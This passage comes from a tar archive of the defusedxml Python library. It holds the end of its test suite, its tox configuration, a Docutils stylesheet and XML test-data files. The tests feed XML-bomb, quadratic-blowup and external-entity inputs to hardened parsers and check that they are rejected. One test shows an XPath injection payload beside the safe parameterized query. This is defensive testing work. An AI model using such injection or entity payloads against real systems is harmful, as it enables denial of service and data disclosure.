doc = self.module.parse(xmlfile, parser=expatreader.create_parser(**kwargs), **kwargs)
return doc.toxml()
def parseString(self, xmlstring, **kwargs):
doc = self.module.parseString(
xmlstring, parser=expatreader.create_parser(**kwargs), **kwargs
)
return doc.toxml()
class TestDefusedPulldom(BaseTests):
module = pulldom
cyclic_error = SAXParseException
dtd_external_ref = True
def parse(self, xmlfile, **kwargs):
events = self.module.parse(xmlfile, **kwargs)
return list(events)
def parseString(self, xmlstring, **kwargs):
events = self.module.parseString(xmlstring, **kwargs)
return list(events)
class TestDefusedSax(BaseTests):
module = sax
cyclic_error = SAXParseException
content_binary = True
dtd_external_ref = True
def parse(self, xmlfile, **kwargs):
if PY3:
result = io.StringIO()
else:
result = io.BytesIO()
handler = XMLGenerator(result)
self.module.parse(xmlfile, handler, **kwargs)
return result.getvalue()
def parseString(self, xmlstring, **kwargs):
if PY3:
result = io.StringIO()
else:
result = io.BytesIO()
handler = XMLGenerator(result)
self.module.parseString(xmlstring, handler, **kwargs)
return result.getvalue()
def test_exceptions(self):
with self.assertRaises(EntitiesForbidden) as ctx:
self.parse(self.xml_bomb)
msg = "EntitiesForbidden(name='a', system_id=None, public_id=None)"
self.assertEqual(str(ctx.exception), msg)
self.assertEqual(repr(ctx.exception), msg)
with self.assertRaises(ExternalReferenceForbidden) as ctx:
self.parse(self.xml_external, forbid_entities=False)
msg = (
"ExternalReferenceForbidden"
"(system_id='http://www.w3schools.com/xml/note.xml', public_id=None)"
)
self.assertEqual(str(ctx.exception), msg)
self.assertEqual(repr(ctx.exception), msg)
with self.assertRaises(DTDForbidden) as ctx:
self.parse(self.xml_bomb, forbid_dtd=True)
msg = "DTDForbidden(name='xmlbomb', system_id=None, public_id=None)"
self.assertEqual(str(ctx.exception), msg)
self.assertEqual(repr(ctx.exception), msg)
class TestDefusedLxml(BaseTests):
module = lxml
cyclic_error = XMLSyntaxError
content_binary = True
def parse(self, xmlfile, **kwargs):
try:
tree = self.module.parse(xmlfile, **kwargs)
except XMLSyntaxError:
self.skipTest("lxml detects entityt reference loop")
return self.module.tostring(tree)
def parseString(self, xmlstring, **kwargs):
try:
tree = self.module.fromstring(xmlstring, **kwargs)
except XMLSyntaxError:
self.skipTest("lxml detects entityt reference loop")
return self.module.tostring(tree)
if not LXML3:
def test_entities_forbidden(self):
self.assertRaises(NotSupportedError, self.parse, self.xml_bomb)
def test_dtd_with_external_ref(self):
self.assertRaises(NotSupportedError, self.parse, self.xml_dtd)
def test_external_ref(self):
pass
def test_external_file_ref(self):
pass
def test_restricted_element1(self):
try:
tree = self.module.parse(self.xml_bomb, forbid_dtd=False, forbid_entities=False)
except XMLSyntaxError:
self.skipTest("lxml detects entityt reference loop")
root = tree.getroot()
self.assertEqual(root.text, None)
self.assertEqual(list(root), [])
self.assertEqual(root.getchildren(), [])
self.assertEqual(list(root.iter()), [root])
self.assertEqual(list(root.iterchildren()), [])
self.assertEqual(list(root.iterdescendants()), [])
self.assertEqual(list(root.itersiblings()), [])
self.assertEqual(list(root.getiterator()), [root])
self.assertEqual(root.getnext(), None)
def test_restricted_element2(self):
try:
tree = self.module.parse(self.xml_bomb2, forbid_dtd=False, forbid_entities=False)
except XMLSyntaxError:
self.skipTest("lxml detects entityt reference loop")
root = tree.getroot()
bomb, tag = root
self.assertEqual(root.text, "text")
self.assertEqual(list(root), [bomb, tag])
self.assertEqual(root.getchildren(), [bomb, tag])
self.assertEqual(list(root.iter()), [root, bomb, tag])
self.assertEqual(list(root.iterchildren()), [bomb, tag])
self.assertEqual(list(root.iterdescendants()), [bomb, tag])
self.assertEqual(list(root.itersiblings()), [])
self.assertEqual(list(root.getiterator()), [root, bomb, tag])
self.assertEqual(root.getnext(), None)
self.assertEqual(root.getprevious(), None)
self.assertEqual(list(bomb.itersiblings()), [tag])
self.assertEqual(bomb.getnext(), tag)
self.assertEqual(bomb.getprevious(), None)
self.assertEqual(tag.getnext(), None)
self.assertEqual(tag.getprevious(), bomb)
def test_xpath_injection(self):
# show XPath injection vulnerability
xml = """"""
expr = "one' or @id='two"
root = lxml.fromstring(xml)
# insecure way
xp = "tag[@id='%s']" % expr
elements = root.xpath(xp)
self.assertEqual(len(elements), 2)
self.assertEqual(elements, list(root))
# proper and safe way
xp = "tag[@id=$idname]"
elements = root.xpath(xp, idname=expr)
self.assertEqual(len(elements), 0)
self.assertEqual(elements, [])
elements = root.xpath(xp, idname="one")
self.assertEqual(len(elements), 1)
self.assertEqual(elements, list(root)[:1])
def test_lxml_warnings(self):
self.assertTrue(lxml_warnings)
self.assertEqual(lxml_warnings[0].category, DeprecationWarning)
self.assertIn("tests.py", lxml_warnings[0].filename)
class XmlRpcTarget(object):
def __init__(self):
self._data = []
def __str__(self):
return "".join(self._data)
def xml(self, encoding, standalone):
pass
def start(self, tag, attrs):
self._data.append("<%s>" % tag)
def data(self, text):
self._data.append(text)
def end(self, tag):
self._data.append("" % tag)
class TestXmlRpc(DefusedTestCase):
module = xmlrpc
def parse(self, xmlfile, **kwargs):
target = XmlRpcTarget()
parser = self.module.DefusedExpatParser(target, **kwargs)
data = self.get_content(xmlfile)
parser.feed(data)
parser.close()
return target
def parse_unpatched(self, xmlfile):
target = XmlRpcTarget()
parser = self.module.ExpatParser(target)
data = self.get_content(xmlfile)
parser.feed(data)
parser.close()
return target
def test_xmlrpc(self):
self.assertRaises(EntitiesForbidden, self.parse, self.xml_bomb)
self.assertRaises(EntitiesForbidden, self.parse, self.xml_quadratic)
self.parse(self.xml_dtd)
self.assertRaises(DTDForbidden, self.parse, self.xml_dtd, forbid_dtd=True)
# def test_xmlrpc_unpatched(self):
# for fname in (self.xml_external, self.xml_dtd):
# print(self.parse_unpatched(fname))
def test_monkeypatch(self):
try:
xmlrpc.monkey_patch()
finally:
xmlrpc.unmonkey_patch()
class TestDefusedGzip(DefusedTestCase):
def get_gzipped(self, length):
f = io.BytesIO()
gzf = gzip.GzipFile(mode="wb", fileobj=f)
gzf.write(b"d" * length)
gzf.close()
f.seek(0)
return f
def decode_response(self, response, limit=None, readlength=1024):
dec = xmlrpc.DefusedGzipDecodedResponse(response, limit)
acc = []
while True:
data = dec.read(readlength)
if not data:
break
acc.append(data)
return b"".join(acc)
def test_defused_gzip_decode(self):
data = self.get_gzipped(4096).getvalue()
result = xmlrpc.defused_gzip_decode(data)
self.assertEqual(result, b"d" * 4096)
result = xmlrpc.defused_gzip_decode(data, -1)
self.assertEqual(result, b"d" * 4096)
result = xmlrpc.defused_gzip_decode(data, 4096)
self.assertEqual(result, b"d" * 4096)
with self.assertRaises(ValueError):
result = xmlrpc.defused_gzip_decode(data, 4095)
with self.assertRaises(ValueError):
result = xmlrpc.defused_gzip_decode(data, 0)
def test_defused_gzip_response(self):
clen = len(self.get_gzipped(4096).getvalue())
response = self.get_gzipped(4096)
data = self.decode_response(response)
self.assertEqual(data, b"d" * 4096)
with self.assertRaises(ValueError):
response = self.get_gzipped(4096)
xmlrpc.DefusedGzipDecodedResponse(response, clen - 1)
with self.assertRaises(ValueError):
response = self.get_gzipped(4096)
self.decode_response(response, 4095)
with self.assertRaises(ValueError):
response = self.get_gzipped(4096)
self.decode_response(response, 4095, 8192)
def test_main():
suite = unittest.TestSuite()
suite.addTests(unittest.makeSuite(TestDefusedcElementTree))
suite.addTests(unittest.makeSuite(TestDefusedElementTree))
suite.addTests(unittest.makeSuite(TestDefusedMinidom))
suite.addTests(unittest.makeSuite(TestDefusedMinidomWithParser))
suite.addTests(unittest.makeSuite(TestDefusedPulldom))
suite.addTests(unittest.makeSuite(TestDefusedSax))
suite.addTests(unittest.makeSuite(TestXmlRpc))
if lxml is not None:
suite.addTests(unittest.makeSuite(TestDefusedLxml))
if gzip is not None:
suite.addTests(unittest.makeSuite(TestDefusedGzip))
return suite
if __name__ == "__main__":
suite = test_main()
result = unittest.TextTestRunner(verbosity=1).run(suite)
# TODO: test that it actually works
defuse_stdlib()
sys.exit(not result.wasSuccessful())
defusedxml-0.7.1/tox.ini 0000664 0000000 0000000 00000002164 14021401470 0015166 0 ustar 00root root 0000000 0000000 [tox]
envlist = py27,py35,py36,py37,py38,py39,py310,black,pep8py2,pep8py3,doc
skip_missing_interpreters = true
[testenv]
commands =
coverage run --parallel-mode tests.py
coverage combine
coverage xml
coverage report -m
deps =
lxml
coverage
[testenv:py38]
# lxml FTBFS because Python sets -Wimplicit-int
deps = coverage
[testenv:black]
commands = black --check --verbose \
{toxinidir}/setup.py \
{toxinidir}/tests.py \
{toxinidir}/defusedxml/
deps = black
[testenv:pep8py2]
basepython = python2.7
deps =
flake8
commands =
{envpython} -m flake8
[testenv:pep8py3]
basepython = python3
deps =
flake8
commands =
{envpython} -m flake8
[testenv:doc]
basepython = python3
deps =
docutils
commands =
python setup.py check --restructuredtext --metadata --strict
[pytest]
norecursedirs = build .tox
python_files = tests.py
[flake8]
exclude = .tox,*.egg,dist,build,other
show-source = true
ignore = E402, F811
max-line-length = 98
[gh-actions]
python =
2.7: py27, pep8py2
3.5: py35
3.6: py36
3.7: py37
3.8: py38, pep8py3, doc
3.9: py39, black
3.10: py310
defusedxml-0.7.1/void.css 0000664 0000000 0000000 00000014363 14021401470 0015332 0 ustar 00root root 0000000 0000000 /*
Stylesheet for Docutils.
Based on `blue_box.css` by Ian Bicking
and `voidspace.css` by Ian Bicking, Michael Foord
and `html4css1.css`
*/
.borderless, table.borderless td, table.borderless th
{
border: 0;
}
table.borderless td, table.borderless th
{
padding: 0 0.5em 0 0 ! important;
}
.first
{
margin-top: 0 ! important;
}
.last, .with-subtitle
{
margin-bottom: 0 ! important;
}
.hidden
{
display: none;
}
a.toc-backref
{
color: black;
text-decoration: none;
}
blockquote.epigraph
{
margin: 2em 5em;
}
dl.docutils dd
{
margin-bottom: 0.5em;
}
object[type="image/svg+xml"], object[type="application/x-shockwave-flash"]
{
overflow: hidden;
}
div.abstract
{
margin: 2em 5em;
}
div.abstract p.topic-title
{
font-weight: bold;
text-align: center;
}
div.admonition, div.attention, div.caution, div.danger, div.error,
div.hint, div.important, div.note, div.tip, div.warning
{
border: medium outset;
margin: 2em;
padding: 1em;
}
div.admonition p.admonition-title, div.hint p.admonition-title,
div.important p.admonition-title, div.note p.admonition-title,
div.tip p.admonition-title
{
font-family: sans-serif;
font-weight: bold;
}
div.attention p.admonition-title, div.caution p.admonition-title,
div.danger p.admonition-title, div.error p.admonition-title,
div.warning p.admonition-title
{
color: red;
font-family: sans-serif;
font-weight: bold;
}
div.dedication
{
font-style: italic;
margin: 2em 5em;
text-align: center;
}
div.dedication p.topic-title
{
font-style: normal;
font-weight: bold;
}
div.figure
{
margin-left: 2em;
margin-right: 2em;
}
div.footer, div.header
{
clear: both;
font-size: smaller;
}
div.line-block
{
display: block;
margin-bottom: 1em;
margin-top: 1em;
}
div.line-block div.line-block
{
margin-bottom: 0;
margin-left: 1.5em;
margin-top: 0;
}
div.sidebar
{
background-color: #ffffee;
border: medium outset;
clear: right;
float: right;
margin: 0 0 0.5em 1em;
padding: 1em;
width: 40%;
}
div.sidebar p.rubric
{
font-family: sans-serif;
font-size: medium;
}
div.system-messages
{
margin: 5em;
}
div.system-messages h1
{
color: red;
}
div.system-message
{
border: medium outset;
padding: 1em;
}
div.system-message p.system-message-title
{
color: red;
font-weight: bold;
}
div.topic
{
margin: 2em;
}
h1.section-subtitle, h2.section-subtitle, h3.section-subtitle,
h4.section-subtitle, h5.section-subtitle, h6.section-subtitle
{
margin-top: 0.4em;
}
h1.title
{
text-align: center;
}
h2.subtitle
{
text-align: center;
}
hr.docutils
{
width: 75%;
}
img.align-left, .figure.align-left, object.align-left
{
clear: left;
float: left;
margin-right: 1em;
}
img.align-right, .figure.align-right, object.align-right
{
clear: right;
float: right;
margin-left: 1em;
}
img.align-center, .figure.align-center, object.align-center
{
display: block;
margin-left: auto;
margin-right: auto;
}
.align-left
{
text-align: left;
}
.align-center
{
clear: both;
text-align: center;
}
.align-right
{
text-align: right;
}
div.align-right
{
text-align: inherit;
}
ol.simple, ul.simple
{
margin-bottom: 1em;
}
ol.arabic
{
list-style: decimal;
}
ol.loweralpha
{
list-style: lower-alpha;
}
ol.upperalpha
{
list-style: upper-alpha;
}
ol.lowerroman
{
list-style: lower-roman;
}
ol.upperroman
{
list-style: upper-roman;
}
p.attribution
{
margin-left: 50%;
text-align: right;
}
p.caption
{
font-style: italic;
}
p.credits
{
font-size: smaller;
font-style: italic;
}
p.label
{
white-space: nowrap;
}
p.rubric
{
color: maroon;
font-size: larger;
font-weight: bold;
text-align: center;
}
p.sidebar-title
{
font-family: sans-serif;
font-size: larger;
font-weight: bold;
}
p.sidebar-subtitle
{
font-family: sans-serif;
font-weight: bold;
}
p.topic-title
{
font-weight: bold;
}
pre.address
{
font: inherit;
margin-bottom: 0;
margin-top: 0;
}
pre.literal-block, pre.doctest-block, pre.math
{
margin-left: 2em;
margin-right: 2em;
background-color: #eeeeee;
}
span.classifier
{
font-family: sans-serif;
font-style: oblique;
}
span.classifier-delimiter
{
font-family: sans-serif;
font-weight: bold;
}
span.interpreted
{
font-family: sans-serif;
}
span.option
{
white-space: nowrap;
}
span.pre
{
white-space: pre;
}
span.problematic
{
color: red;
}
span.section-subtitle
{
font-size: 80%;
}
table.citation
{
border-left: solid 1px gray;
margin-left: 1px;
}
table.docinfo
{
margin: 2em 4em;
}
table.docutils
{
margin-bottom: 0.5em;
margin-top: 0.5em;
}
table.footnote
{
border-left: solid 1px black;
margin-left: 1px;
}
table.docutils td, table.docutils th,
table.docinfo td, table.docinfo th
{
padding-left: 0.5em;
padding-right: 0.5em;
vertical-align: top;
}
table.docutils th.field-name, table.docinfo th.docinfo-name
{
font-weight: bold;
padding-left: 0;
text-align: left;
white-space: nowrap;
}
h1 tt.docutils, h2 tt.docutils, h3 tt.docutils,
h4 tt.docutils, h5 tt.docutils, h6 tt.docutils
{
font-size: 100%;
}
ul.auto-toc
{
list-style-type: none;
}
body
{
font-family: Arial, sans-serif;
margin-left: auto;
margin-right: auto;
width: 800px;
}
em, i
{
font-family: Times New Roman, Times, serif;
}
a.target
{
color: blue;
}
a.target
{
color: blue;
}
a.toc-backref
{
color: black;
text-decoration: none;
}
a.toc-backref:hover
{
background-color: inherit;
}
a:hover
{
background-color: #cccccc;
}
div.attention, div.caution, div.danger, div.error, div.hint,
div.important, div.note, div.tip, div.warning
{
padding: 3px;
width: 80%;
}
div.admonition p.admonition-title, div.hint p.admonition-title,
div.important p.admonition-title, div.note p.admonition-title,
div.tip p.admonition-title
{
display: block;
margin: 0;
text-align: center;
}
div.attention p.admonition-title, div.caution p.admonition-title,
div.danger p.admonition-title, div.error p.admonition-title,
div.warning p.admonition-title
{
display: block;
font-family: sans-serif;
margin: 0;
text-align: center;
}
h1.title
{
text-align: center;
}
table.footnote
{
padding-left: 0.5ex;
}
table.citation
{
padding-left: 0.5ex;
}
pre.literal-block, pre.doctest-block
{
padding: 5px;
}
h1 tt, h2 tt, h3 tt, h4 tt, h5 tt, h6 tt
{
font-size: 100%;
}
code, tt
{
color: #000066;
}
p
{
text-align: justify;
}
dt
{
font-weight: bold;
}
tt.literal
{
background-color: #eeeeee;
}
h1
{
border-bottom: solid 1px black;
padding-top: 20px;
}
caption
{
margin-bottom: 0.4em;
font-weight: bold;
font-size: 120%;
}
defusedxml-0.7.1/xmltestdata/ 0000775 0000000 0000000 00000000000 14021401470 0016202 5 ustar 00root root 0000000 0000000 defusedxml-0.7.1/xmltestdata/cyclic.xml 0000664 0000000 0000000 00000000121 14021401470 0020164 0 ustar 00root root 0000000 0000000
]>
&a;
defusedxml-0.7.1/xmltestdata/dtd.xml 0000664 0000000 0000000 00000000325 14021401470 0017477 0 ustar 00root root 0000000 0000000
text
defusedxml-0.7.1/xmltestdata/external.xml 0000664 0000000 0000000 00000000146 14021401470 0020547 0 ustar 00root root 0000000 0000000
]>
ⅇ
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texttail
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